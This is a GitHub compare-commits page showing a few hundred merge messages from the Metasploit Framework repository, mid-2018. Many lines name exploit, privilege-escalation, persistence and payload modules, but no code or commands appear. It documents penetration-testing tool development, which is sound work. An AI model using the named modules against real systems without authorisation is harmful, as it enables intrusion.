Compare commits

...

562 Commits

Author SHA1 Message Date
Shelby Pace bc87643ea3 Land #10482, Add Network Manager VPNC Privesc 2018-08-30 08:49:38 -07:00
Jacob Robles d7728afe42 Land #10540, weblogic_deserialize, add check method and linux target 2018-08-30 04:13:58 -07:00
Jacob Robles 7a99fc7066 Land #10545, foxit fix generated strings, update doc 2018-08-30 03:58:19 -07:00
Adam Cammack 2269f7eb43 Land #10594, Remove trailing space from CVE number 2018-08-29 14:39:19 -05:00
bwatters-r7 76ee618f26 Land # 10548, fix Gemfile.lock
Merge branch 'land-10548' into upstream-master
2018-08-29 14:33:32 -05:00
William Vu ec9cedf4fc Land #10536, https:// reference check for msftidy 2018-08-29 09:18:46 -07:00
William Vu 08e069bbe1 Land #10542, CVE ref for office_ms17_11882 exploit 2018-08-28 22:44:41 -07:00
bwatters-r7 4a4c1cd559 Land #10544, Update payloads to 1.3.45
Merge branch 'land-10544' into upstream-master
2018-08-28 16:55:02 -07:00
William Vu add03ca7f8 Land #10543, struts2_rest_xstream targeting fixes 2018-08-28 16:55:02 -07:00
Adam Cammack 11ae0d2a78 Land #10541, Correct claymore_dos.py's CVE ref 2018-08-28 16:55:01 -07:00
bwatters-r7 631e8bf110 Land #8983, Add peinjector post module
Merge branch 'land-8983' into upstream-master
2018-08-28 16:55:01 -07:00
William Vu 0564b0be09 Land #10507, GPP creds for db_import 2018-08-28 16:55:01 -07:00
William Vu 98ee549705 Land #10538, PSH target for struts2_rest_xstream 2018-08-28 16:55:01 -07:00
Matthew Kienow a76176a3fe Land #10537, add windows meterpreter audio output 2018-08-28 18:52:04 -05:00
Wei Chen 4d785c4fea Land #10519, Add msfvenom -l archs like -l platforms 2018-08-28 18:48:27 -05:00
Brent Cook 6f42bcafcf Land #10531, fix NOP generator for sparc 2018-08-27 09:41:14 -07:00
Brent Cook f22e6ec2bf Land #10527, Fix msftdiy EDB link check, enable HTTPS 2018-08-27 08:53:05 -07:00
Jacob Robles 376a343472 Land #10487, add php5 session file target 2018-08-27 08:49:42 -07:00
Brent Cook 0294d7eed1 Land #10516, Add brace expansion encoder and update ${IFS} encoder 2018-08-27 08:49:42 -07:00
Brent Cook 4e967d45ab Land #10520, Only allow setting persistence on payload jobs 2018-08-27 08:49:42 -07:00
William Vu f9c7de978e Land #10379, tab completion for multiple commands 2018-08-27 08:49:41 -07:00
Brent Cook cca98bce25 Land #8914, refactor auxiliary/admin/http credential storage 2018-08-24 11:20:26 -07:00
Brent Cook 3c0f3f68f2 Land #10523, Update Foxit Reader PoC Link 2018-08-24 09:38:06 -07:00
William Vu 415379e7ee Land #9364, HP PJL/SNMP CVE-2017-2741 exploit
Finally!
2018-08-23 20:50:23 -07:00
h00die 179b874763 Land #10467 documentation for postgresql hashdump 2018-08-23 18:37:01 -07:00
h00die e444aa0489 Land #10466 docs for postgres_version 2018-08-23 18:12:41 -07:00
h00die 93f68e817a Land #10517 updated docs for CloudMe Sync 2018-08-23 17:57:30 -07:00
Wei Chen 7b7c5a73c4 Land #10504, add Foxit Reader UAF Module and Docs 2018-08-23 16:57:43 -07:00
Metasploit 53de99a8b4 Bump version of framework to 4.17.9 2018-08-23 10:07:01 -07:00
William Vu 91bab0d842 Land #10510, full disclosure for CVE-2018-15473 2018-08-22 12:52:48 -07:00
William Vu 9696adb09c Land #10500, stack trace fix for jobs -K 2018-08-21 09:05:07 -07:00
William Vu 0739892cc8 Land #10498, module doc for ssh_enumusers 2018-08-21 09:05:07 -07:00
asoto-r7 36642d3071 Land #10449, Implementation of download/upload file in reverse shell 2018-08-21 09:05:07 -07:00
asoto-r7 8ce1329e74 Land #10448, Implementation of CTRL+C to send SIGINT signal 2018-08-21 09:05:06 -07:00
Brent Cook 8c29a3b5da Land #10471, Import target DefaultOptions into the datastore 2018-08-21 09:05:06 -07:00
Brent Cook f3b9901c9f Land #10497, Add Lumpy Space password, whatever. 2018-08-21 09:05:06 -07:00
Brent Cook 5970f4882d Land #10479, Add CVE-2018-15473 to ssh_enumusers 2018-08-21 09:05:06 -07:00
Brent Cook dd32b8bd76 Land #10491, fix error generating PPC NOPS 2018-08-21 09:05:06 -07:00
Brent Cook fb042469df Land #10493, update help for show and search commands 2018-08-21 11:02:41 -05:00
bwatters-r7 ec71347283 Land #10476, add automation test for smb_ms17_010 scanner module
Merge branch 'land-10476' into upstream-master
2018-08-20 09:53:58 -07:00
Tim W f295b22290 Land #10313, add linux autostart persistence module 2018-08-20 03:19:57 -07:00
Tim W e5ef254155 Land #10320, add module for persistence in /etc/rc.local 2018-08-19 00:33:19 -07:00
bwatters-r7 403841f44d Land #10475, Bump payloads to 1.3.43
Merge branch 'land-10475' into upstream-master
2018-08-17 15:04:09 -05:00
Metasploit 83384269c9 Bump version of framework to 4.17.8 2018-08-16 14:19:47 -07:00
Jeffrey Martin ce1fe7fe77 Land #10203, Add command for persistent job handler when msf restart 2018-08-16 13:43:26 -07:00
William Vu c91eff48fb Land #10472, marked_redos module doc fixes 2018-08-16 13:43:26 -07:00
William Vu e1097f7e38 Land #10120, npm "marked" ReDoS module 2018-08-16 13:43:26 -07:00
William Vu 5094040242 Land #10469, bug fixes for shell's prompt_yesno 2018-08-16 13:43:26 -07:00
William Vu bf7c530f7e Land #10456, known_hosts fix for SSH modules 2018-08-16 13:43:26 -07:00
William Vu e11266f0a0 Land #10464, prompt to use plain module name 2018-08-16 13:43:25 -07:00
Metasploit 902d2bca96 Bump version of framework to 4.17.7 2018-08-16 10:02:42 -07:00
Adam Cammack 7cfe93133b Land #10394, Cleanup aws_ec2_instance_metadata 2018-08-15 12:52:58 -07:00
Adam Cammack 403b6b95b6 Land #10446, Add missing payload tests
Also adds consideration for IPv6 values needed for some payloads.
2018-08-15 12:49:15 -07:00
Adam Cammack 09c0947aa7 Land #10459, Fix PMA scanner vs. non-PMA hosts 2018-08-15 12:46:56 -07:00
Erin Bleiweiss aacbc43c1c Land #10451, Add 'payload' to module search command help documentation 2018-08-15 13:45:50 -05:00
h00die 76e08b9c4a Land #10457 docs for elasticsearch indices_enum 2018-08-15 11:40:29 -07:00
h00die 91c61bb692 Land #10454 updates to cgit exploit docs 2018-08-15 11:40:29 -07:00
William Vu e2b91bdfc1 Land #10433, pry and irb in developer dispatcher 2018-08-15 11:40:29 -07:00
bwatters-r7 abaf059cdb Land #10442, Bump payloads to 1.3.42
Merge branch 'land-10442' into upstream-master
2018-08-15 11:32:50 -05:00
Jacob Robles 9617c79f44 Land #10420, cgit < 1.2.1 Directory Traversal 2018-08-13 14:28:21 -07:00
Shelby Pace 1a86d57bce Land #10404, Add Path Traversal Oracle GlassFish 2018-08-13 09:18:05 -07:00
Tim W 22b1bb03e7 Land #10440, fix apk injection on windows 2018-08-12 10:16:45 -07:00
Wei Chen 8b75c7d9ab Land #10436, Add WebLogic exploit (CVE-2018-2628) 2018-08-09 12:54:19 -07:00
Metasploit b09fa1caf8 Bump version of framework to 4.17.6 2018-08-09 10:02:53 -07:00
William Vu 1949cade78 Land #10430, history clearing and bug fixes 2018-08-07 15:18:03 -07:00
William Vu 807baacc2c Land #10424, history deduplication on save 2018-08-07 09:28:00 -07:00
William Vu 6b6191a534 Land #10423, history deduplication on add
Also removes history -u deduplication on print.
2018-08-05 12:31:35 -07:00
Rob Fuller a67938aab6 Land #10421, Let use have help too! 2018-08-04 13:54:56 -07:00
Brent Cook b42cf88276 Land #10386, Add IEC104 client module 2018-08-04 05:44:48 -07:00
Brent Cook 714fdb12fd Land #10417, Update check method of Hadoop exploit 2018-08-04 05:30:08 -07:00
Brent Cook b95df100bb Land #10419, Party like it's 2016 2018-08-04 05:27:09 -07:00
Brent Cook 3fd0119d27 Land #9692, Add DoS module for Siemens Siprotec 4 2018-08-04 05:23:03 -07:00
Brendan Coles 9ac0d0cf6e Land #10358, Add Dicoogle PACS Directory Traversal scanner module 2018-08-03 22:30:03 -07:00
Wei Chen 937174d321 Land #10412, Add Cisco directory traversal auxiliary module 2018-08-02 14:47:24 -07:00
Metasploit acf88f50b6 Bump version of framework to 4.17.5 2018-08-02 10:05:07 -07:00
Tim W 65fcdcfd2f Land #9884, add linux ufo priv esc module 2018-08-02 02:56:27 -07:00
Adam Cammack 43f1f8eeb2 Land #10405, Cleanup dropped files for CMSMS 2018-08-01 12:46:44 -07:00
Adam Cammack f49f37f76d Land #10406, Fix notes service, port, protocol 2018-08-01 12:42:35 -07:00
bwatters-r7 4885117e46 Land #10413, Bump rex-powershell to 1.7.9
Merge branch 'land-10413' into upstream-master
2018-08-01 12:07:16 -07:00
Brent Cook 39e13258c7 Land #10330, Add SMBv2 support to bind_named_pipe payloads 2018-08-01 11:01:36 -07:00
Brent Cook 133291e85b Land #10409, Add Meterpreter target for axis_srv_parhand_rce 2018-08-01 10:49:29 -07:00
William Vu 0bad10de4e Land #10403, joomla_pages fixes 2018-07-31 09:03:18 -07:00
Wei Chen 580f4cf509 Land #10255, Adding Micro Focus Secure Messaging Gateway RCE 2018-07-30 19:08:43 -07:00
William Vu 0bc84bb6c6 Land #10305, SonicWall XML-RPC RCE 2018-07-30 12:15:59 -07:00
William Vu 2cb4b97164 Land #10384, upload_exec fixes 2018-07-30 11:57:09 -07:00
William Vu e6d9f39204 Land #10398, unused option cleanup in enum_juniper 2018-07-30 11:55:22 -07:00
Jacob Robles 4b59552f8a Land #10397, Added line in psexec_psh to support SMB2 2018-07-30 11:09:36 -07:00
Jacob Robles 7e180a390c Land #10060, vTiger CRM v6.3.0 Upload RCE 2018-07-30 10:34:17 -07:00
Shelby Pace ea2a9081a6 Land #10247, add WordPress Arbitrary File Deletion 2018-07-30 07:09:04 -07:00
Wei Chen b42545a153 Land #10387, Update mov_ss and add mov_ss_dll 2018-07-27 12:55:43 -07:00
Wei Chen 3a67d89711 Land #10383, Add WP Responsive Thumbnail Slider Plugin Exploit Module 2018-07-26 21:56:35 -07:00
Brent Cook e74ef65aa5 Land #9964, android post module to extract subscriber info 2018-07-26 15:00:23 -07:00
Metasploit 33dc83804d Bump version of framework to 4.17.4 2018-07-26 10:07:53 -07:00
Wei Chen 4ec22c0ceb Land #10376, Handle connection errors and fail_with in check 2018-07-26 09:28:58 -07:00
Jacob Robles 9f488cb150 Land #10365, script allows you to find modules without a specific reference 2018-07-26 07:58:05 -07:00
Jacob Robles f7f322b26e Land #10366, Add a script that can find CVEs based on other known references 2018-07-26 07:27:59 -07:00
Brent Cook 5171e7edd2 Land #10319, enable VHOST for ms15_034_http_sys_memory_dump 2018-07-25 16:53:51 -07:00
Brent Cook 8e5639a081 Land #10374, Net::SSH::CommandStream fixes 2018-07-25 16:23:47 -07:00
William Vu c3469b0c80 Land #10303, HttpClient Rex::ConnectionError fix 2018-07-25 16:04:21 -07:00
William Vu 10ffd286d9 Land #10375, smb_login defaults that suck less 2018-07-25 13:33:47 -07:00
William Vu 3f53efe785 Land #10375, DETECT_ANY_AUTH should be false 2018-07-25 13:33:47 -07:00
Wei Chen 5fce9d8222 Land #10300, Add root exploit for Axis network cameras 2018-07-25 12:47:50 -07:00
William Vu 428623f890 Land #10370, minor CouchDB fix 2018-07-24 23:13:33 -07:00
William Vu 68272c410e Land #10357, CouchDB improvements and docs 2018-07-24 22:59:52 -07:00
Wei Chen 3fbd4f8f2f Land #10368, PhpMyAdmin Login Scanner Module 2018-07-24 21:27:32 -07:00
Jeffrey Martin 35edb48c48 Land #10367, Pass a framework instance to external module shims 2018-07-24 15:34:17 -05:00
Brent Cook e9b04b9750 Land #10362, Fix reporting in backup_file, add more docs 2018-07-23 16:27:45 -07:00
William Vu 7713710591 Land #10345, OptionParser for console grep 2018-07-23 15:20:09 -07:00
Adam Cammack 6a5a19faca Land #10364, Handle nil for shell_reverse_tcp_ipv6
This makes things like `msfvenom --list-options` or `info` when options
are not set work.
2018-07-23 12:14:48 -07:00
asoto-r7 28bb518dbd Land #10349, deconflict the method names in mix-ins 2018-07-23 11:40:49 -07:00
Wei Chen e075836ad5 Land #10346, update check method and doc for CMS Made Simple 2018-07-20 15:49:07 -07:00
Wei Chen fdc24fe453 Land #10327, Add CMS Made Simple Upload/Rename Authenticated RCE 2018-07-19 10:20:10 -07:00
Metasploit fc4a5b9913 Bump version of framework to 4.17.3 2018-07-19 10:03:34 -07:00
asoto-r7 b2aa922a29 Land #10307, Add missing CVE check to msftidy 2018-07-18 16:12:02 -07:00
Brent Cook 64201ad782 Land #10282, Add support for running external modules outside of msfconsole 2018-07-18 15:40:21 -07:00
Adam Cammack 6919d1a981 Land #10328, Log errors in Python ETERNALBLUE 2018-07-18 12:53:38 -07:00
Adam Cammack 9a72d0cbe7 Land #10334, Add grep -C 2018-07-18 12:48:35 -07:00
Tim W 691d8f2c41 Land #9753, Linux BPF sign extension local privesc 2018-07-18 11:05:32 -07:00
William Vu 0735113db2 Land #10332, fixes for SOUNDTRACK and LOGO refs 2018-07-18 11:05:32 -07:00
William Vu c362d668ab Land #10283, SOUNDTRACK and LOGO refs
:'(
2018-07-18 11:05:32 -07:00
Brent Cook 184670f62c Land #10329, Add command dispatcher for developer commands 2018-07-18 12:36:48 -05:00
William Vu fe13b00d84 Land #10309, PID check for self-migrate 2018-07-17 12:39:42 -07:00
William Vu ba3fa4bf91 Land #10317, nil fix for enum_dns 2018-07-17 11:04:55 -07:00
William Vu eb6142c2f8 Land #10315, pSnuffle POST and basic auth 2018-07-17 11:01:34 -07:00
Jacob Robles 4c87d38a60 Land #10273, [clean up] iis_webdav_scstoragepathfromurl 2018-07-17 07:36:22 -07:00
William Vu 88518ec4ae Land #10064, Claymore Dual Miner API RCE 2018-07-16 16:04:38 -07:00
Jacob Robles d138ddba8d Land #10295, Add QNAP Q'Center change_passwd Command Execution exploit 2018-07-14 08:20:32 -07:00
Brent Cook 861097d246 Land #10267, defer bind payload connections until exploit has run 2018-07-13 15:38:39 -07:00
Brent Cook 36f776d4a6 Land #10293, fixup php/base64 and add docs for cmd/unix/reverse_bash 2018-07-13 15:17:52 -07:00
Brent Cook 0b38f6486d Land #10304, add debug log viewer 2018-07-13 14:41:59 -07:00
Wei Chen 06e8cc49f5 Land #10297, Add priv escalation mod for CVE-2018-8897 2018-07-13 08:57:19 -07:00
William Vu 942befab73 Land #10302, module doc fixes 2018-07-12 21:53:05 -07:00
William Vu 3ffcc658e6 Land #10296, a few aux module docs 2018-07-12 20:22:03 -07:00
William Vu f6a7f19e2b Land #10027, Hadoop unauthed command execution 2018-07-12 20:00:57 -07:00
William Vu dbd03f9914 Land #10278, gitlist_arg_injection fixes 2018-07-12 17:05:33 -07:00
Wei Chen 465dceb182 Land #10299, Add 88 CVEs to various auxiliary and exploit modules 2018-07-12 16:28:05 -07:00
William Vu 9db75849a9 Land #10298, bug fix for #10219 2018-07-12 15:51:22 -07:00
Metasploit 58a88194eb Bump version of framework to 4.17.2 2018-07-12 10:03:23 -07:00
Brendan Coles 4f67361b46 Land #10238, Add ManageEngine Exchange Reporter Plus RCE exploit 2018-07-12 09:37:50 -07:00
William Vu 8540f2cd1c Land #9780, once more with feeling
Missed the merge, lol.
2018-07-12 11:26:39 -05:00
William Vu f18fd4aca1 Land #9780, CouchDB auth bypass and RCE 2018-07-12 11:24:05 -05:00
William Vu 81ef17aa62 Land #10286, Docker server version scanner 2018-07-12 11:24:04 -05:00
Adam Cammack b44cccc368 Land #10287, Add advanced option to skip WP checks 2018-07-12 11:24:04 -05:00
Shelby Pace 5827fb5174 Land #10284, Inform the user about lack of CVE 2018-07-12 11:24:04 -05:00
Shelby Pace 40ce762481 Land #10268, Ensure module_reference loads rb modules 2018-07-12 11:24:03 -05:00
Shelby Pace 8586e6fc8f Land #10260, Add phpMyAdmin v4.8.1/4.8.0 LFI RCE 2018-07-12 11:24:03 -05:00
Erin Bleiweiss d11eaf3d74 Land #10280, Use default CheckCode in ETERNALBLUE 2018-07-12 11:24:03 -05:00
Shelby Pace 45f354e55d Land #10231, Monstra Fileupload Exec 2018-07-12 11:24:02 -05:00
Brent Cook 3a92908e9b Land #10108, add IBM QRadar SIEM exploit 2018-07-12 11:24:02 -05:00
Jacob Robles d480ee8e20 Land #10275, Update missing CVE references for exploit modules 2018-07-12 11:24:01 -05:00
Jacob Robles 4284ffe8a4 Land #10276, Update missing CVE references for auxiliary modules 2018-07-12 11:23:09 -05:00
Jacob Robles 9dc3e35f23 Land #10107, Add the scanner/smb/impacket/secretsdump module 2018-07-06 13:02:46 -07:00
Shelby Pace a4f0dc5ea2 Land #10133, Add HID discoveryd RCE exploit 2018-07-06 12:35:38 -07:00
Wei Chen e915bb0f66 Land #10262, Add GitList argument injection exploit module 2018-07-06 12:30:10 -07:00
asoto-r7 e4aa20ac47 Land #9356. Remove ring buffers from command dispatcher. 2018-07-06 11:14:14 -07:00
Brent Cook 5d95172a81 Land #10171, Implement desktop shell and screensaver post modules 2018-07-05 15:36:46 -07:00
Brent Cook 2052584a31 Land #10241, don't call print_error from rex context, use elog instead 2018-07-05 15:30:08 -07:00
Brent Cook 1abbd61cee Land #10246, add documentation for APK injection 2018-07-05 15:28:41 -07:00
Brent Cook fbd68df409 Land #10263, fix double-nested array 2018-07-05 15:22:50 -07:00
Brent Cook b5981caa0b Land #10219, Add HP VAN SDN Controller exploit 2018-07-05 12:23:50 -07:00
Metasploit 69830c0ff5 Bump version of framework to 4.17.1 2018-07-05 10:04:08 -07:00
Brent Cook b894f9b6e7 Land #10251, be more explicit what a bind handler is doing 2018-07-05 08:44:28 -07:00
Metasploit 59e0d7b8d2 Bump version of framework to 4.17.0 2018-07-03 20:31:47 -07:00
Brent Cook 4fedee604d Land #10250, Increase read depth for SMB pipes, fix Windows support 2018-07-03 15:06:34 -07:00
Jacob Robles 7f3dfccbfe Land #10242, avoid using SMBv2 on Windows XP Native Upload targets 2018-07-02 15:37:11 -07:00
Brent Cook c5dce5edd7 Land #10217, keep bind_named_pipe with SMBv1 2018-07-02 12:56:00 -07:00
Wei Chen 144923db3a Land #10237, Add Boxoft WAV to MP3 Converter exploit module 2018-07-02 12:03:05 -07:00
Wei Chen d4054c24bd Land #9896, Java JMX Package Name Randomization
Land #9896
2018-07-02 11:43:42 -07:00
Brent Cook 709630e35c Land #10185, add SMBv1/2 support in psexec 2018-06-29 15:51:50 -07:00
Jacob Robles fa95c0c2a1 Land #9958, Nagios xi 2 electric 2018-06-29 10:18:13 -07:00
Brendan Coles 9bed9f0797 Land #10213, Add FTPShell client 6.70 Stack Buffer Overflow exploit 2018-06-29 07:39:54 -07:00
William Vu fd7ea515aa Land #10218, MS17-010 Windows Embedded Standard 7 2018-06-28 14:14:42 -07:00
Brent Cook 8260351762 Land #10222, Add DanielRTeixeira to mailmap 2018-06-28 13:06:10 -07:00
Metasploit 9486aadf64 Bump version of framework to 4.16.65 2018-06-28 10:04:27 -07:00
Jeffrey Martin 75d305eef0 Land #10221, Rescue RubySMB Error 2018-06-28 09:05:05 -07:00
Brent Cook d310659a77 Land #10216, add linux mic capture support for mettle 2018-06-28 10:58:50 -05:00
Jeffrey Martin 9aeebf35fe remove lock on ruby_smb 2018-06-28 10:44:20 -05:00
Brent Cook 33a909939d Land #10215, add support for payload estimation for IPv6-specific modules 2018-06-27 14:49:00 -07:00
William Vu 87b50e57cc Land #9933, auxiliary/scanner/db2/discovery docs 2018-06-27 14:03:34 -07:00
William Vu 13f981f03f Land #9998, customizable golden ticket duration 2018-06-27 13:53:30 -07:00
Adam Cammack 165fb9dc79 Land #10109, Teradata login scanner and SQL runner 2018-06-27 13:39:02 -07:00
William Vu d4dfb98fb9 Land #10207, msftidy fixes 2018-06-26 12:40:50 -07:00
Shelby Pace f14597bcb2 Land #10199, Kace Systems Management Command Injection 2018-06-26 10:11:07 -07:00
bwatters-r7 bf3e9d8771 Land #10206, Bump metasploit payloads for payload PR 287
Merge branch 'bump-payloads-287' into upstream-master
2018-06-26 12:00:15 -05:00
Wei Chen 0a9dca2b5a Land 10200, Add SickRage Password Leak Auxiliary Module 2018-06-25 15:27:22 -07:00
Brent Cook 2b655e4674 Land #10194, update rex-powershell with rapid7/rex-powershell#12, updating GetMethod for GetProcAddress for Windows 10 1803 2018-06-22 15:44:06 -05:00
Brent Cook 21fc8108ac Land #10155, Improve #sec_to_s in Rex::ExtTime 2018-06-21 14:47:02 -07:00
Brent Cook 679378d025 Land #10156, WebKit, as used in WebKitGTK+ Crash - CVE-2018-11646 2018-06-21 14:33:05 -07:00
Metasploit 7b7f244164 Bump version of framework to 4.16.64 2018-06-21 13:46:51 -07:00
William Vu cddb0f2b4d Land #10195, ms17_010_eternalblue_win8 bug fixes 2018-06-21 13:38:14 -07:00
Wei Chen cc293b54c4 Land #10193, Updated Documentation for httpdasm module 2018-06-21 11:06:35 -07:00
Metasploit 07f2e664e7 Bump version of framework to 4.16.63 2018-06-21 10:06:28 -07:00
Brent Cook e6ca28100c Land #10151, add robustness when stdapi is unavailable 2018-06-20 21:56:45 -07:00
Brent Cook 5fb3ffed55 Land #10189, ETERNALBLUE updates 2018-06-20 21:55:20 -07:00
sinn3r d723ffc3ee Land #10188, Add Shelby to .mailmap
Add Shelby to .mailmap
2018-06-20 16:40:48 -07:00
Brent Cook 0bcbcab3d8 Land #10184, Add sleepya's ETERNALBLUE exploit for Win8+ 2018-06-19 15:44:55 -07:00
Wei Chen 17c0bc1fa7 Land #10183, Add auxiliary mod to exploit httpdasm dir traversal vuln 2018-06-19 12:58:49 -07:00
Shelby Pace 5998896b48 Land #10150, Fix typos and spacing 2018-06-18 09:17:27 -07:00
Jacob Robles 95cb9f3654 Land #9825, Add 'phpMyAdmin Authenticated Remote Code Execution' 2018-06-18 06:55:53 -07:00
Wei Chen ce48ff4382 Land #10165, Fix missing RequestError in a few post modules 2018-06-15 13:40:51 -07:00
Wei Chen 95ee536705 Land #10172, Rm duplicate word in agitum_outpost_acs description 2018-06-15 13:15:37 -07:00
William Vu 94abd923f3 Land #10021, post/multi/recon/sudo_commands module 2018-06-14 14:35:32 -07:00
Aaron Soto 8cd65324c6 Land #10124, Add tab completion of values in set command 2018-06-14 14:18:34 -07:00
Aaron Soto 3a6401a420 Land #10141, background meta command in cmd shells 2018-06-14 13:35:24 -07:00
bwatters-r7 fff6d2ebb7 Lad #10017, D-Link DSL-2750B Unauthenticated OS Command Injection
Merge branch 'land-10017' into upstream-master
2018-06-14 15:09:38 -05:00
Metasploit 5323b40f60 Bump version of framework to 4.16.62 2018-06-14 10:07:09 -07:00
Tim W 972e89b2d7 Land #10162, tab completion for audio output 2018-06-13 23:58:24 -07:00
Adam Cammack e78715b073 Land #10167, Add Linux x86 IPv6 reverse shell 2018-06-13 13:35:24 -07:00
Adam Cammack 8d86ff0065 Land #10138, Update psnuffle RHOSTS and style 2018-06-13 12:47:32 -07:00
bwatters-r7 7e2c1fae2c Land #10148, Add New Module - Badpdf
Merge branch 'land-10148' into upstream-master
2018-06-12 15:21:25 -07:00
bwatters-r7 0a19221af2 Land #10101, Add glibc 'realpath()' Privilege Escalation exploit 2018-06-12 14:43:57 -07:00
William Vu 7f372d178d Land #10059, CVE-2018-1111 exploit 2018-06-12 13:04:36 -07:00
Tim W 08a6fd3b3b Land #10066, implement AudioOutput api from channel 2018-06-11 14:41:44 -05:00
Brendan Coles 60a9e08cdc Land #10157, Add IconFile path to .URL files generated with MultiDrop 2018-06-10 20:07:24 -07:00
William Vu f5e83d7542 Land #10153, encryption options fix for msfvenom 2018-06-08 16:10:39 -05:00
Jeffrey Martin 43ae360e15 remove options not in 4.x 2018-06-08 15:55:01 -05:00
Tim W e6a9421e35 Land #10118, cleanup OSX local exploit modules 2018-06-08 00:00:50 -07:00
William Vu 9423cdb40b Land #10145, Lync subdomain wordlist 2018-06-07 11:03:38 -07:00
Metasploit 27ab8fdd01 Bump version of framework to 4.16.61 2018-06-07 10:04:41 -07:00
Aaron Soto aa5c114364 Land #10067, Added auxiliary/fileformat/odt_badodt 2018-06-06 09:29:34 -07:00
Aaron Soto f6e0f5bd81 Land #10115, Added module auxiliary/fileformat/multidrop 2018-06-05 14:32:25 -07:00
Jacob Robles 1df5b7655f Land #10106, Add the scanner/smb/impacket/wmiexec module 2018-06-05 06:39:34 -07:00
Chris Higgins 5f469efacf Land #10092, Cleanup linux/local/recvmmsg_priv_esc 2018-06-04 15:37:57 -07:00
Brent Cook 31ce48502c Land #9528, WebKit apple safari trident exploit (CVE-2016-4657) 2018-06-04 15:37:57 -07:00
Brent Cook 650c5c7a93 Land #10121, finish deprecating modules 2018-06-04 15:37:56 -07:00
William Vu 40489fd1f1 Land #10029, msfvenom quality of life improvements 2018-06-04 17:26:26 -05:00
William Vu 30f2fe495b Land #10095, tilde expansion for resource command 2018-06-01 10:29:02 -07:00
Aaron Soto 2a9399251c Land #10102, SOCKS5 updates for BIND, parsing specs, refactoring 2018-06-01 07:03:23 -07:00
Adam Cammack d2523e03df Land #9976, Store non-nil linux enum_network loot 2018-06-01 07:03:22 -07:00
bwatters-r7 e7ab118aaf Land #9777, Slui File Handler Hijack LPE 2018-06-01 07:03:22 -07:00
Brent Cook 87c6befb45 Land #10094, Improve network interface support for LHOST 2018-06-01 07:03:22 -07:00
Brent Cook 122af6b143 Land #10083, Add Msf::Post::OSX::Priv mixin 2018-06-01 07:03:22 -07:00
Aaron Soto c8ff6cb5a4 Land #9701, Flexense HTTP Server DoS exploit 2018-06-01 07:03:22 -07:00
Spencer McIntyre 9e9e129716 Land #10105, update the search command help menu 2018-06-01 07:03:22 -07:00
Brendan Coles b4e305862a Land #10099, fix nil error in HttpTrace when HTTP response is nil
Fix #10098
2018-06-01 07:03:21 -07:00
Metasploit 3f200fa722 Bump version of framework to 4.16.60 2018-05-31 10:05:37 -07:00
Brent Cook caa8b673ed Land #9990, add SOCKS5 proxy support 2018-05-25 15:56:23 -07:00
Brent Cook 4142b49307 Land #10034, Add inactive list option to sessions command 2018-05-25 03:10:01 -05:00
Brent Cook 0dc0d3c0ba fix incorrect disclosure date 2018-05-25 03:06:42 -05:00
Metasploit 9bfd7a6bdb Bump version of framework to 4.16.59 2018-05-24 10:04:03 -07:00
Brent Cook d78f2e7bbd Land #10087, remove unused option from applocker bypass 2018-05-23 13:38:39 -07:00
Brent Cook 196b302897 Land #10084, Mark all versions of telpho10 as vulnerable 2018-05-23 13:38:39 -07:00
William Vu 0e5e151403 Land #10081, unnecessary class definition fix 2018-05-23 13:38:39 -07:00
Brendan Coles e6a7ec3276 Land #10070, Fix cleanup in exploits/osx/local/rootpipe_entitlements 2018-05-23 13:38:39 -07:00
Brendan Coles 8243207223 Land #10048, Make shell and meterpreter sessions consistent with cmd_exec 2018-05-23 13:38:38 -07:00
bwatters-r7 a177e762d1 Land #10071, return PLUGIN_DESCRIPTION instead of actual string
Merge branch 'land-10071' into upstream-master
2018-05-23 13:38:38 -07:00
Brendan Coles 89e9f60121 Land #10073, Add /etc/group to data/wordlists/sensitive_files.txt 2018-05-21 15:22:52 -07:00
bwatters-r7 984384b59d Land #10044, Fix is_system? in Msf::Post::Windows::Priv for non-English
Merge branch 'land-10044' into upstream-master
2018-05-21 15:22:52 -07:00
Tim W 016ee4d460 Land #9987, AF_PACKET chocobo_root exploit 2018-05-21 15:22:51 -07:00
Brent Cook 1eabf5dd3d Land #10072, update kiwi plugin, add dcsync, dcshadow, and powershell streaming support 2018-05-21 17:05:10 -05:00
bwatters-r7 81368bef7a Land #9966, Add Reliable Datagram Sockets (RDS) Privilege Escalation exploit
Merge branch 'land-9966' into upstream-master
2018-05-21 17:01:36 -05:00
Brent Cook 7b3169ad0a Land #9999, Optionally test empty group in cisco_ssl_vpn 2018-05-21 17:01:35 -05:00
Brent Cook 9b152cec72 Land #10009, Add initial check support to external modules 2018-05-21 17:01:35 -05:00
William Vu 9e326d7c88 Land #10037, warning for Mettle stage encoding 2018-05-21 17:01:29 -05:00
Metasploit 9f8dd68d0d Bump version of framework to 4.16.58 2018-05-17 10:03:17 -07:00
Aaron Soto 5aa0078f4b Land #10002, Add password reporting API to external modules 2018-05-17 08:16:35 -07:00
Tim W d5019be697 Land #10049, fix docs for android/gather/wireless_ap 2018-05-17 08:16:35 -07:00
Tim W a51c1209ab Land #9956, add module to extract wireless credentials on Android 2018-05-17 08:16:35 -07:00
Brent Cook 597a64b61b Land #10047, remove invalid timeout argument on cmd_exec 2018-05-17 08:16:35 -07:00
Tim W bacab0507b Land #9947, AF_PACKET packet_set_ring exploit 2018-05-17 08:16:34 -07:00
William Vu 06d3ab12a1 Land #10042, reload_lib improvements 2018-05-17 08:16:34 -07:00
William Vu 4a93947b1a Land #10041, target selection by name updates 2018-05-17 08:16:34 -07:00
Jacob Robles 6e71f5c5fd Land #9816, Add the scanner/smb/impacket/dcomexec module 2018-05-17 08:16:34 -07:00
William Vu 9a273a2663 Land #9975, local_exploit_suggester fixes 2018-05-17 08:16:33 -07:00
William Vu 012de0f6b1 Land #10038, struts_code_exec_parameters EXE fix 2018-05-17 08:16:33 -07:00
William Vu cbac801b88 Land #8727, CVE-2017-9791 exploit 2018-05-17 08:16:33 -07:00
William Vu bbb5ff8ad4 Land #7815, CVE-2016-9299 exploit 2018-05-17 08:16:33 -07:00
William Vu f9d27aaa30 Land #10036, reverse_bash_telnet_ssl fixes 2018-05-17 08:16:32 -07:00
William Vu 06711c6da9 Land #10035, awk payload improvements 2018-05-17 08:16:32 -07:00
William Vu 2f50df7fe7 Land #10031, zsh payload improvements 2018-05-17 08:16:32 -07:00
William Vu 14ff692d12 Land #10030, reverse_ksh payload 2018-05-17 08:16:32 -07:00
Brent Cook 78c07b86c4 Land #9962, tab-complete target options 2018-05-17 08:16:31 -07:00
Matthew Kienow 2d69675650 Fix exception in verbose mode sessions listing
(cherry picked from commit 5322a682f6)
2018-05-16 12:34:12 -04:00
